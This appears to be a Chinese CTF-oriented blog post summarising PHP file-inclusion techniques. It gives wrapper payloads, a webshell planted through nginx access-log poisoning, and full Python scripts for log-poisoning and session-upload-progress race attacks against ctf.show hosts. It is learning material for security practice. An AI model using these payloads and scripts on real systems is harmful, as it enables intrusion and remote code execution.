首页 > 其他分享 >web -文件包含姿势汇总

web -文件包含姿势汇总

时间:2023-01-14 10:22:24浏览次数:50  
标签:姿势 web 文件 url 汇总 session post php data

文件包含(更新......)

php伪协议

include爆破点

  1. 方法1 php://filter

?file=php://filter/write=convert.base64-decode/resource=4.php

过滤了php

那么我们用Php进行绕过即可

  1. 方法2用data

?file=data://text/plain,.php
//我们可以进行部分省略
?file=data://,.php
?file=data:,.php

  1. 方法3用php://input

php://input

post:

但需要注意:谷歌的hackbar会认为不是json形式的数据(x=x类型)所以我们用1=

来代替上述信息即可,同时需要注意post发包需要带raw不进行url编码,我们也可以用burpsuite或者maxhackbar进行操作。

  1. nginx日志包含(一般是php伪协议用不了了,比如把:冒号ban了,但是.没有ban掉,所以我们使用nginx日志包含)

首先我们先利用目录回溯进行文件输出测试

image-20230113183605467

表明了我们可以访问根目录,没有限制

找到日志路径

/var/log/nginx/access.log

我们写UA

一定要一次写对,因为php代码执行从前往后执行,如果前面有错误代码,就停止执行,不会执行后面

<?php eval($_POST[1]);?>

image-20230113183906718

访问到了,相当于执行了以php的形式日志文件,那么我们可以访问日志文件,并写post命令,建议后面跟上phpinfo();表示分割,容易观看。

image-20230113184500927

上脚本

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 19:51
# blog: www.wlhhlc.top
import requests

url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
#目标URL
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
#修改UA
data = {
    'dotast': 'system("cat fl0g.php");'
}
#post传输数据
req = requests.get(url=url, headers=headers)
#先用get形式,第一遍发送数据写入日志
result = requests.post(url=url, data=data)
#再用post形式,第二遍发送数据执行脚本命令
print(result.text)
#把返回包打出来
  1. 使用session文件包含(把.也给ban掉了)

https://www.freebuf.com/vuls/202819.html 这道题有点像wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053

php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off

第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控

简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里。
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成

#基础session竞争脚本

import io
import requests
import threading
url = 'http://e7133b0c-51f8-4693-9e04-aa82ece75273.challenge.ctf.show/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        #StringIO操作的只能是str,如果要操作二进制数据,就需要使用BytesIO。
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
#编写写进程程序        
        
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotast' in response.text:
            print(response.text)
            break
        else:
            print('retry')
#编写读进程程序

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)
#多线程session竞争

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotast' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

标签:姿势,web,文件,url,汇总,session,post,php,data
From: https://www.cnblogs.com/lyxhhz/p/17051336.html

相关文章

  • 可视化web组态工业监控软件 ISM
    文章目录​​系统简介​​​​一、特点与详细功能​​​​二、产品的应用​​​​演示​​​​总结​​系统简介ISM组态软件通过浏览器操作组态工具、浏览组态画面,实现工程......
  • 使用 Webix 创建 Email 客户端
    Webix是一个JavaScriptUI库,提供了多达88个UI小部件和功能丰富的CSS/HTML5JavaScript控件。使用Webix可以有效地加快Web应用的开发。文本将演示了如何通过Webix......
  • aBiu的笔记汇总
    上车Java8新特性拉取测试代码JUC来源b站狂神说测试代码SpringBootspirng源码大致流程SpringSecurity来源Bilibili黑马程序员视频教程SpringSecurity认证授......
  • web安全之MSF学习
    Metasploit官网:​​www.metasploit.com​​​安装metasploit:在Linux上安装需要先下载ruby(一种简单快捷的面向对象(面向对象程序设计)脚本语言)kali自带msf不用安装,推荐使用k......
  • hadoop+海量数据面试题汇总(二)
    何谓海量数据处理?   所谓海量数据处理,无非就是基于海量数据上的存储、处理、操作。何谓海量,就是数据量太大,所以导致要么是无法在较短时间内迅速解决,要么是数据太大,导致无......
  • Web安全入门与靶场实战(4)- 搭建LAMP网站平台
    要学习Web安全,首先就必须要对网站有所了解。搭建网站的方法有很多,很多初学者都是利用phpStudy之类的模拟软件来一键搭建网站,但我还是更加推荐在CentOS系统中搭建一个真实的......
  • RPC接口测试技术-websocket 自动化测试实践
    WebSocket是一种在单个TCP连接上进行全双工通信(FullDuplex是通讯传输的一个术语。通信允许数据在两个方向上同时传输,它在能力上相当于两个单工通信方式的结合。全双工......
  • WebUI自动化测试框架搭建之需求整理、详细设计、框架设计
    (WebUI自动化测试框架搭建之需求整理、详细设计、框架设计)1总体需求1.1实现目的基于BS架构,模拟用户(鼠标、键盘)操作,达到快速、重复执行测试用例;便于回归测试,快速覆盖......
  • keetle web api
    由于实现程序实现kettle的自动化作业kettle=9.3java=1.8.0_202java代码总体思路可以使用ktr/kjb的文件使用springboot解析调用kettle代码核模块ket......
  • Selenium的webdriver下载地址汇总
    chromedriver驱动下载地址:(根据chrome版本下载)http://chromedriver.storage.googleapis.com/index.htmlmicrosoft-edge驱动下载地址:(根据Edge版本下载)https://developer.m......